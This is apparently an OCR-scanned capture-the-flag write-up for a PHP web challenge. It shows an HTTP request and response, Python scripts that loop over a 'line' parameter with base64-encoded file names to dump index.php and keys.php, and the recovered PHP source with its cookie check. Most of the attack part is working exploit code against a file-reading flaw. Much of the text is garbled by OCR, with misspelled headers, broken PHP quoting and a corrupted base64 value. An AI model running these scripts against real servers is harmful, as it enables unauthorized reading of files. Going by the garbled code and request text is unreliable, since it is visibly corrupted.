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GET /webll/index.php?line=cfilename=alV5Scy50=HO= HTTP/Ll.1

Host: 123.20€.87.240:8002

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; x&64; rv:e7.0)
Gecko/20100101 Firsfox/67.0

Aecepr: text/html,applicacion/xhtml+xml, applicacion/xml;q=0.9,*/*;q=0.8
Aecept-Language: zh-CM, zh;q=0.8, zh-TW;q=0.7, zh-HK; q=0.5,en-U3;q=0.3,en;=0.2
Aecept-Encoding: gzip, deflate

Connection: keep-aliwve

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

O

HTTP/1.1 200 OK

Server: nginx

Date: 3Sun, 02 Jun 2019 07:14:08 GMT
Content-Type: text/html

Connectio keep-alive

Keep-Alive: timeout=£0
Content-Length: 1782
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index.php (i2& % index.php# — T base64)

<?php
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import requests

flag=100

for i in range(flag):
url="http://123.206.87.240:8002/webll/index.php?line="+str(i)+"&filename=aW5kzXgucGhw"
s=requests.get(url)
print(s.text)

I 3REL Bindex. php RS A 28

<?php

error_reporting(0);

$file=base64_decode(isset($_GET['filename'])?$ GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;

if($file=="") header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(

'9' =>'keys.txt',

'1' =>"index.php',

)s

if(isset($_COOKIE[ ‘margin']) && $_COOKIE[ 'margin’']=="'margin'){

$file_list[2]="keys.php"';

if(in_array($file, $file list)){
$fa = file($file);

echo $fa[$line];
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import requests

flag=20

cookies={"margin":"margin"}

for i in range(flag):
url="http://123.206.87.240:8002/webll/index.php?line="+str(i)+"&filename=a2V5cy5waHA="
s=requests.get(url, cookies=cookies)
print(s.text)
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